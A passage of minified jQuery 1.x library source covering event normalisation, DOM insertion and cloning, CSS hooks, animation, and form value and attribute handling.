metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,t){var n,r,i,o=t.button,a=t.fromElement;return null==e.pageX&&null!=t.clientX&&(r=e.target.ownerDocument||ht,i=r.documentElement,n=r.body,e.pageX=t.clientX+(i&&i.scrollLeft||n&&n.scrollLeft||0)-(i&&i.clientLeft||n&&n.clientLeft||0),e.pageY=t.clientY+(i&&i.scrollTop||n&&n.scrollTop||0)-(i&&i.clientTop||n&&n.clientTop||0)),!e.relatedTarget&&a&&(e.relatedTarget=a===e.target?t.toElement:a),e.which||void 0===o||(e.which=1&o?1:2&o?3:4&o?2:0),e}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==h()&&this.focus)try{return this.focus(),!1}catch(e){}},delegateType:"focusin"},blur:{trigger:function(){return this===h()&&this.blur?(this.blur(),!1):void 0},delegateType:"focusout"},click:{trigger:function(){return it.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):void 0},_default:function(e){return it.nodeName(e.target,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=it.extend(new it.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?it.event.trigger(i,null,t):it.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},it.removeEvent=ht.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on"+t;e.detachEvent&&(typeof e[r]===Et&&(e[r]=null),e.detachEvent(r,n))},it.Event=function(e,t){return this instanceof it.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&e.returnValue===!1?f:p):this.type=e,t&&it.extend(this,t),this.timeStamp=e&&e.timeStamp||it.now(),void(this[it.expando]=!0)):new it.Event(e,t)},it.Event.prototype={isDefaultPrevented:p,isPropagationStopped:p,isImmediatePropagationStopped:p,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=f,e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=f,e&&(e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=f,e&&e.stopImmediatePropagation&&e.stopImmediatePropagation(),this.stopPropagation()}},it.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,t){it.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return(!i||i!==r&&!it.contains(r,i))&&(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),nt.submitBubbles||(it.event.special.submit={setup:function(){return it.nodeName(this,"form")?!1:void it.event.add(this,"click._submit keypress._submit",function(e){var t=e.target,n=it.nodeName(t,"input")||it.nodeName(t,"button")?t.form:void 0;n&&!it._data(n,"submitBubbles")&&(it.event.add(n,"submit._submit",function(e){e._submit_bubble=!0}),it._data(n,"submitBubbles",!0))})},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&it.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){return it.nodeName(this,"form")?!1:void it.event.remove(this,"._submit")}}),nt.changeBubbles||(it.event.special.change={setup:function(){return Lt.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&(it.event.add(this,"propertychange._change",function(e){"checked"===e.originalEvent.propertyName&&(this._just_changed=!0)}),it.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),it.event.simulate("change",this,e,!0)})),!1):void it.event.add(this,"beforeactivate._change",function(e){var t=e.target;Lt.test(t.nodeName)&&!it._data(t,"changeBubbles")&&(it.event.add(t,"change._change",function(e){!this.parentNode||e.isSimulated||e.isTrigger||it.event.simulate("change",this.parentNode,e,!0)}),it._data(t,"changeBubbles",!0))})},handle:function(e){var t=e.target;return this!==t||e.isSimulated||e.isTrigger||"radio"!==t.type&&"checkbox"!==t.type?e.handleObj.handler.apply(this,arguments):void 0},teardown:function(){return it.event.remove(this,"._change"),!Lt.test(this.nodeName)}}),nt.focusinBubbles||it.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){it.event.simulate(t,e.target,it.event.fix(e),!0)};it.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=it._data(r,t);i||r.addEventListener(e,n,!0),it._data(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=it._data(r,t)-1;i?it._data(r,t,i):(r.removeEventListener(e,n,!0),it._removeData(r,t))}}}),it.fn.extend({on:function(e,t,n,r,i){var o,a;if("object"==typeof e){"string"!=typeof t&&(n=n||t,t=void 0);for(o in e)this.on(o,t,n,e[o],i);return this}if(null==n&&null==r?(r=t,n=t=void 0):null==r&&("string"==typeof t?(r=n,n=void 0):(r=n,n=t,t=void 0)),r===!1)r=p;else if(!r)return this;return 1===i&&(a=r,r=function(e){return it().off(e),a.apply(this,arguments)},r.guid=a.guid||(a.guid=it.guid++)),this.each(function(){it.event.add(this,e,r,n,t)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,it(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return(t===!1||"function"==typeof t)&&(n=t,t=void 0),n===!1&&(n=p),this.each(function(){it.event.remove(this,e,n,t)})},trigger:function(e,t){return this.each(function(){it.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];return n?it.event.trigger(e,t,n,!0):void 0}});var Mt="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",Ot=/ jQuery\d+="(?:null|\d+)"/g,Rt=new RegExp("<(?:"+Mt+")[\\s/>]","i"),Bt=/^\s+/,Pt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,It=/<([\w:]+)/,Wt=/<tbody/i,$t=/<|&#?\w+;/,zt=/<(?:script|style|link)/i,Xt=/checked\s*(?:[^=]|=\s*.checked.)/i,Ut=/^$|\/(?:java|ecma)script/i,Vt=/^true\/(.*)/,Gt=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,Yt={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:nt.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]},Jt=m(ht),Kt=Jt.appendChild(ht.createElement("div"));Yt.optgroup=Yt.option,Yt.tbody=Yt.tfoot=Yt.colgroup=Yt.caption=Yt.thead,Yt.th=Yt.td,it.extend({clone:function(e,t,n){var r,i,o,a,s,l=it.contains(e.ownerDocument,e);if(nt.html5Clone||it.isXMLDoc(e)||!Rt.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(Kt.innerHTML=e.outerHTML,Kt.removeChild(o=Kt.firstChild)),!(nt.noCloneEvent&&nt.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||it.isXMLDoc(e)))for(r=g(o),s=g(e),a=0;null!=(i=s[a]);++a)r[a]&&E(i,r[a]);if(t)if(n)for(s=s||g(e),r=r||g(o),a=0;null!=(i=s[a]);a++)T(i,r[a]);else T(e,o);return r=g(o,"script"),r.length>0&&w(r,!l&&g(e,"script")),r=s=i=null,o},buildFragment:function(e,t,n,r){for(var i,o,a,s,l,u,c,d=e.length,f=m(t),p=[],h=0;d>h;h++)if(o=e[h],o||0===o)if("object"===it.type(o))it.merge(p,o.nodeType?[o]:o);else if($t.test(o)){for(s=s||f.appendChild(t.createElement("div")),l=(It.exec(o)||["",""])[1].toLowerCase(),c=Yt[l]||Yt._default,s.innerHTML=c[1]+o.replace(Pt,"<$1></$2>")+c[2],i=c[0];i--;)s=s.lastChild;if(!nt.leadingWhitespace&&Bt.test(o)&&p.push(t.createTextNode(Bt.exec(o)[0])),!nt.tbody)for(o="table"!==l||Wt.test(o)?"<table>"!==c[1]||Wt.test(o)?0:s:s.firstChild,i=o&&o.childNodes.length;i--;)it.nodeName(u=o.childNodes[i],"tbody")&&!u.childNodes.length&&o.removeChild(u);for(it.merge(p,s.childNodes),s.textContent="";s.firstChild;)s.removeChild(s.firstChild);s=f.lastChild}else p.push(t.createTextNode(o));for(s&&f.removeChild(s),nt.appendChecked||it.grep(g(p,"input"),v),h=0;o=p[h++];)if((!r||-1===it.inArray(o,r))&&(a=it.contains(o.ownerDocument,o),s=g(f.appendChild(o),"script"),a&&w(s),n))for(i=0;o=s[i++];)Ut.test(o.type||"")&&n.push(o);return s=null,f},cleanData:function(e,t){for(var n,r,i,o,a=0,s=it.expando,l=it.cache,u=nt.deleteExpando,c=it.event.special;null!=(n=e[a]);a++)if((t||it.acceptData(n))&&(i=n[s],o=i&&l[i])){if(o.events)for(r in o.events)c[r]?it.event.remove(n,r):it.removeEvent(n,r,o.handle);l[i]&&(delete l[i],u?delete n[s]:typeof n.removeAttribute!==Et?n.removeAttribute(s):n[s]=null,G.push(i))}}}),it.fn.extend({text:function(e){return At(this,function(e){return void 0===e?it.text(this):this.empty().append((this[0]&&this[0].ownerDocument||ht).createTextNode(e))},null,e,arguments.length)},append:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=y(this,e);t.appendChild(e)}})},prepend:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=y(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){for(var n,r=e?it.filter(e,this):this,i=0;null!=(n=r[i]);i++)t||1!==n.nodeType||it.cleanData(g(n)),n.parentNode&&(t&&it.contains(n.ownerDocument,n)&&w(g(n,"script")),n.parentNode.removeChild(n));return this},empty:function(){for(var e,t=0;null!=(e=this[t]);t++){for(1===e.nodeType&&it.cleanData(g(e,!1));e.firstChild;)e.removeChild(e.firstChild);e.options&&it.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t){return e=null==e?!1:e,t=null==t?e:t,this.map(function(){return it.clone(this,e,t)})},html:function(e){return At(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e)return 1===t.nodeType?t.innerHTML.replace(Ot,""):void 0;if(!("string"!=typeof e||zt.test(e)||!nt.htmlSerialize&&Rt.test(e)||!nt.leadingWhitespace&&Bt.test(e)||Yt[(It.exec(e)||["",""])[1].toLowerCase()])){e=e.replace(Pt,"<$1></$2>");try{for(;r>n;n++)t=this[n]||{},1===t.nodeType&&(it.cleanData(g(t,!1)),t.innerHTML=e);t=0}catch(i){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=arguments[0];return this.domManip(arguments,function(t){e=this.parentNode,it.cleanData(g(this)),e&&e.replaceChild(t,this)}),e&&(e.length||e.nodeType)?this:this.remove()},detach:function(e){return this.remove(e,!0)},domManip:function(e,t){e=J.apply([],e);var n,r,i,o,a,s,l=0,u=this.length,c=this,d=u-1,f=e[0],p=it.isFunction(f);if(p||u>1&&"string"==typeof f&&!nt.checkClone&&Xt.test(f))return this.each(function(n){var r=c.eq(n);p&&(e[0]=f.call(this,n,r.html())),r.domManip(e,t)});if(u&&(s=it.buildFragment(e,this[0].ownerDocument,!1,this),n=s.firstChild,1===s.childNodes.length&&(s=n),n)){for(o=it.map(g(s,"script"),b),i=o.length;u>l;l++)r=s,l!==d&&(r=it.clone(r,!0,!0),i&&it.merge(o,g(r,"script"))),t.call(this[l],r,l);if(i)for(a=o[o.length-1].ownerDocument,it.map(o,x),l=0;i>l;l++)r=o[l],Ut.test(r.type||"")&&!it._data(r,"globalEval")&&it.contains(a,r)&&(r.src?it._evalUrl&&it._evalUrl(r.src):it.globalEval((r.text||r.textContent||r.innerHTML||"").replace(Gt,"")));s=n=null}return this}}),it.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){it.fn[e]=function(e){for(var n,r=0,i=[],o=it(e),a=o.length-1;a>=r;r++)n=r===a?this:this.clone(!0),it(o[r])[t](n),K.apply(i,n.get());return this.pushStack(i)}});var Qt,Zt={};!function(){var e;nt.shrinkWrapBlocks=function(){if(null!=e)return e;e=!1;var t,n,r;return n=ht.getElementsByTagName("body")[0],n&&n.style?(t=ht.createElement("div"),r=ht.createElement("div"),r.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",n.appendChild(r).appendChild(t),typeof t.style.zoom!==Et&&(t.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:1px;width:1px;zoom:1",t.appendChild(ht.createElement("div")).style.width="5px",e=3!==t.offsetWidth),n.removeChild(r),e):void 0}}();var en,tn,nn=/^margin/,rn=new RegExp("^("+Nt+")(?!px)[a-z%]+$","i"),on=/^(top|right|bottom|left)$/;e.getComputedStyle?(en=function(e){return e.ownerDocument.defaultView.getComputedStyle(e,null)},tn=function(e,t,n){var r,i,o,a,s=e.style;return n=n||en(e),a=n?n.getPropertyValue(t)||n[t]:void 0,n&&(""!==a||it.contains(e.ownerDocument,e)||(a=it.style(e,t)),rn.test(a)&&nn.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o)),void 0===a?a:a+""}):ht.documentElement.currentStyle&&(en=function(e){return e.currentStyle},tn=function(e,t,n){var r,i,o,a,s=e.style;return n=n||en(e),a=n?n[t]:void 0,null==a&&s&&s[t]&&(a=s[t]),rn.test(a)&&!on.test(t)&&(r=s.left,i=e.runtimeStyle,o=i&&i.left,o&&(i.left=e.currentStyle.left),s.left="fontSize"===t?"1em":a,a=s.pixelLeft+"px",s.left=r,o&&(i.left=o)),void 0===a?a:a+""||"auto"}),function(){function t(){var t,n,r,i;n=ht.getElementsByTagName("body")[0],n&&n.style&&(t=ht.createElement("div"),r=ht.createElement("div"),r.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",n.appendChild(r).appendChild(t),t.style.cssText="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;display:block;margin-top:1%;top:1%;border:1px;padding:1px;width:4px;position:absolute",o=a=!1,l=!0,e.getComputedStyle&&(o="1%"!==(e.getComputedStyle(t,null)||{}).top,a="4px"===(e.getComputedStyle(t,null)||{width:"4px"}).width,i=t.appendChild(ht.createElement("div")),i.style.cssText=t.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:0",i.style.marginRight=i.style.width="0",t.style.width="1px",l=!parseFloat((e.getComputedStyle(i,null)||{}).marginRight)),t.innerHTML="<table><tr><td></td><td>t</td></tr></table>",i=t.getElementsByTagName("td"),i[0].style.cssText="margin:0;border:0;padding:0;display:none",s=0===i[0].offsetHeight,s&&(i[0].style.display="",i[1].style.display="none",s=0===i[0].offsetHeight),n.removeChild(r))}var n,r,i,o,a,s,l;n=ht.createElement("div"),n.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",i=n.getElementsByTagName("a")[0],r=i&&i.style,r&&(r.cssText="float:left;opacity:.5",nt.opacity="0.5"===r.opacity,nt.cssFloat=!!r.cssFloat,n.style.backgroundClip="content-box",n.cloneNode(!0).style.backgroundClip="",nt.clearCloneStyle="content-box"===n.style.backgroundClip,nt.boxSizing=""===r.boxSizing||""===r.MozBoxSizing||""===r.WebkitBoxSizing,it.extend(nt,{reliableHiddenOffsets:function(){return null==s&&t(),s
+},boxSizingReliable:function(){return null==a&&t(),a},pixelPosition:function(){return null==o&&t(),o},reliableMarginRight:function(){return null==l&&t(),l}}))}(),it.swap=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i};var an=/alpha\([^)]*\)/i,sn=/opacity\s*=\s*([^)]*)/,ln=/^(none|table(?!-c[ea]).+)/,un=new RegExp("^("+Nt+")(.*)$","i"),cn=new RegExp("^([+-])=("+Nt+")","i"),dn={position:"absolute",visibility:"hidden",display:"block"},fn={letterSpacing:"0",fontWeight:"400"},pn=["Webkit","O","Moz","ms"];it.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=tn(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":nt.cssFloat?"cssFloat":"styleFloat"},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=it.camelCase(t),l=e.style;if(t=it.cssProps[s]||(it.cssProps[s]=S(l,s)),a=it.cssHooks[t]||it.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];if(o=typeof n,"string"===o&&(i=cn.exec(n))&&(n=(i[1]+1)*i[2]+parseFloat(it.css(e,t)),o="number"),null!=n&&n===n&&("number"!==o||it.cssNumber[s]||(n+="px"),nt.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),!(a&&"set"in a&&void 0===(n=a.set(e,n,r)))))try{l[t]=n}catch(u){}}},css:function(e,t,n,r){var i,o,a,s=it.camelCase(t);return t=it.cssProps[s]||(it.cssProps[s]=S(e.style,s)),a=it.cssHooks[t]||it.cssHooks[s],a&&"get"in a&&(o=a.get(e,!0,n)),void 0===o&&(o=tn(e,t,r)),"normal"===o&&t in fn&&(o=fn[t]),""===n||n?(i=parseFloat(o),n===!0||it.isNumeric(i)?i||0:o):o}}),it.each(["height","width"],function(e,t){it.cssHooks[t]={get:function(e,n,r){return n?ln.test(it.css(e,"display"))&&0===e.offsetWidth?it.swap(e,dn,function(){return L(e,t,r)}):L(e,t,r):void 0},set:function(e,n,r){var i=r&&en(e);return A(e,n,r?D(e,t,r,nt.boxSizing&&"border-box"===it.css(e,"boxSizing",!1,i),i):0)}}}),nt.opacity||(it.cssHooks.opacity={get:function(e,t){return sn.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=it.isNumeric(t)?"alpha(opacity="+100*t+")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===it.trim(o.replace(an,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=an.test(o)?o.replace(an,i):o+" "+i)}}),it.cssHooks.marginRight=N(nt.reliableMarginRight,function(e,t){return t?it.swap(e,{display:"inline-block"},tn,[e,"marginRight"]):void 0}),it.each({margin:"",padding:"",border:"Width"},function(e,t){it.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];4>r;r++)i[e+St[r]+t]=o[r]||o[r-2]||o[0];return i}},nn.test(e)||(it.cssHooks[e+t].set=A)}),it.fn.extend({css:function(e,t){return At(this,function(e,t,n){var r,i,o={},a=0;if(it.isArray(t)){for(r=en(e),i=t.length;i>a;a++)o[t[a]]=it.css(e,t[a],!1,r);return o}return void 0!==n?it.style(e,t,n):it.css(e,t)},e,t,arguments.length>1)},show:function(){return j(this,!0)},hide:function(){return j(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){jt(this)?it(this).show():it(this).hide()})}}),it.Tween=H,H.prototype={constructor:H,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(it.cssNumber[n]?"":"px")},cur:function(){var e=H.propHooks[this.prop];return e&&e.get?e.get(this):H.propHooks._default.get(this)},run:function(e){var t,n=H.propHooks[this.prop];return this.pos=t=this.options.duration?it.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):H.propHooks._default.set(this),this}},H.prototype.init.prototype=H.prototype,H.propHooks={_default:{get:function(e){var t;return null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=it.css(e.elem,e.prop,""),t&&"auto"!==t?t:0):e.elem[e.prop]},set:function(e){it.fx.step[e.prop]?it.fx.step[e.prop](e):e.elem.style&&(null!=e.elem.style[it.cssProps[e.prop]]||it.cssHooks[e.prop])?it.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},H.propHooks.scrollTop=H.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},it.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},it.fx=H.prototype.init,it.fx.step={};var hn,mn,gn=/^(?:toggle|show|hide)$/,vn=new RegExp("^(?:([+-])=|)("+Nt+")([a-z%]*)$","i"),yn=/queueHooks$/,bn=[M],xn={"*":[function(e,t){var n=this.createTween(e,t),r=n.cur(),i=vn.exec(t),o=i&&i[3]||(it.cssNumber[e]?"":"px"),a=(it.cssNumber[e]||"px"!==o&&+r)&&vn.exec(it.css(n.elem,e)),s=1,l=20;if(a&&a[3]!==o){o=o||a[3],i=i||[],a=+r||1;do s=s||".5",a/=s,it.style(n.elem,e,a+o);while(s!==(s=n.cur()/r)&&1!==s&&--l)}return i&&(a=n.start=+a||+r||0,n.unit=o,n.end=i[1]?a+(i[1]+1)*i[2]:+i[2]),n}]};it.Animation=it.extend(R,{tweener:function(e,t){it.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");for(var n,r=0,i=e.length;i>r;r++)n=e[r],xn[n]=xn[n]||[],xn[n].unshift(t)},prefilter:function(e,t){t?bn.unshift(e):bn.push(e)}}),it.speed=function(e,t,n){var r=e&&"object"==typeof e?it.extend({},e):{complete:n||!n&&t||it.isFunction(e)&&e,duration:e,easing:n&&t||t&&!it.isFunction(t)&&t};return r.duration=it.fx.off?0:"number"==typeof r.duration?r.duration:r.duration in it.fx.speeds?it.fx.speeds[r.duration]:it.fx.speeds._default,(null==r.queue||r.queue===!0)&&(r.queue="fx"),r.old=r.complete,r.complete=function(){it.isFunction(r.old)&&r.old.call(this),r.queue&&it.dequeue(this,r.queue)},r},it.fn.extend({fadeTo:function(e,t,n,r){return this.filter(jt).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=it.isEmptyObject(e),o=it.speed(t,n,r),a=function(){var t=R(this,it.extend({},e),o);(i||it._data(this,"finish"))&&t.stop(!0)};return a.finish=a,i||o.queue===!1?this.each(a):this.queue(o.queue,a)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&e!==!1&&this.queue(e||"fx",[]),this.each(function(){var t=!0,i=null!=e&&e+"queueHooks",o=it.timers,a=it._data(this);if(i)a[i]&&a[i].stop&&r(a[i]);else for(i in a)a[i]&&a[i].stop&&yn.test(i)&&r(a[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));(t||!n)&&it.dequeue(this,e)})},finish:function(e){return e!==!1&&(e=e||"fx"),this.each(function(){var t,n=it._data(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=it.timers,a=r?r.length:0;for(n.finish=!0,it.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;a>t;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}}),it.each(["toggle","show","hide"],function(e,t){var n=it.fn[t];it.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(q(t,!0),e,r,i)}}),it.each({slideDown:q("show"),slideUp:q("hide"),slideToggle:q("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){it.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),it.timers=[],it.fx.tick=function(){var e,t=it.timers,n=0;for(hn=it.now();n<t.length;n++)e=t[n],e()||t[n]!==e||t.splice(n--,1);t.length||it.fx.stop(),hn=void 0},it.fx.timer=function(e){it.timers.push(e),e()?it.fx.start():it.timers.pop()},it.fx.interval=13,it.fx.start=function(){mn||(mn=setInterval(it.fx.tick,it.fx.interval))},it.fx.stop=function(){clearInterval(mn),mn=null},it.fx.speeds={slow:600,fast:200,_default:400},it.fn.delay=function(e,t){return e=it.fx?it.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},function(){var e,t,n,r,i;t=ht.createElement("div"),t.setAttribute("className","t"),t.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",r=t.getElementsByTagName("a")[0],n=ht.createElement("select"),i=n.appendChild(ht.createElement("option")),e=t.getElementsByTagName("input")[0],r.style.cssText="top:1px",nt.getSetAttribute="t"!==t.className,nt.style=/top/.test(r.getAttribute("style")),nt.hrefNormalized="/a"===r.getAttribute("href"),nt.checkOn=!!e.value,nt.optSelected=i.selected,nt.enctype=!!ht.createElement("form").enctype,n.disabled=!0,nt.optDisabled=!i.disabled,e=ht.createElement("input"),e.setAttribute("value",""),nt.input=""===e.getAttribute("value"),e.value="t",e.setAttribute("type","radio"),nt.radioValue="t"===e.value}();var wn=/\r/g;it.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=it.isFunction(e),this.each(function(n){var i;1===this.nodeType&&(i=r?e.call(this,n,it(this).val()):e,null==i?i="":"number"==typeof i?i+="":it.isArray(i)&&(i=it.map(i,function(e){return null==e?"":e+""})),t=it.valHooks[this.type]||it.valHooks[this.nodeName.toLowerCase()],t&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return t=it.valHooks[i.type]||it.valHooks[i.nodeName.toLowerCase()],t&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:(n=i.value,"string"==typeof n?n.replace(wn,""):null==n?"":n)}}}),it.extend({valHooks:{option:{get:function(e){var t=it.find.attr(e,"value");return null!=t?t:it.trim(it.text(e))}},select:{get:function(e){for(var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i+1:r.length,l=0>i?s:o?i:0;s>l;l++)if(n=r[l],!(!n.selected&&l!==i||(nt.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&it.nodeName(n.parentNode,"optgroup"))){if(t=it(n).val(),o)return t;a.push(t)}return a},set:function(e,t){for(var n,r,i=e.options,o=it.makeArray(t),a=i.length;a--;)if(r=i[a],it.inArray(it.valHooks.option.get(r),o)>=0)try{r.selected=n=!0}catch(s){r.scrollHeight}else r.selected=!1;return n||(e.selectedIndex=-1),i}}}}),it.each(["radio","checkbox"],function(){it.valHooks[this]={set:function(e,t){return it.isArray(t)?e.checked=it.inArray(it(e).val(),t)>=0:void 0}},nt.checkOn||(it.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Tn,En,kn=it.expr.attrHandle,Cn=/^(?:checked|selected)$/i,Nn=nt.getSetAttribute,Sn=nt.input;it.fn.extend({attr:function(e,t){return At(this,it.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){it.removeAttr(this,e)})}}),it.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(e&&3!==o&&8!==o&&2!==o)return typeof e.getAttribute===Et?it.prop(e,t,n):(1===o&&it.isXMLDoc(e)||(t=t.toLowerCase(),r=it.attrHooks[t]||(it.expr.match.bool.test(t)?En:Tn)),void 0===n?r&&"get"in r&&null!==(i=r.get(e,t))?i:(i=it.find.attr(e,t),null==i?void 0:i):null!==n?r&&"set"in r&&void 0!==(i=r.set(e,n,t))?i:(e.setAttribute(t,n+""),n):void it.removeAttr(e,t))},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(bt);if(o&&1===e.nodeType)for(;n=o[i++];)r=it.propFix[n]||n,it.expr.match.bool.test(n)?Sn&&Nn||!Cn.test(n)?e[r]=!1:e[it.camelCase("default-"+n)]=e[r]=!1:it.attr(e,n,""),e.removeAttribute(Nn?n:r)},attrHooks:{type:{set:function(e,t){if(!nt.radioValue&&"radio"===t&&it.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}}}),En={set:function(e,t,n){return 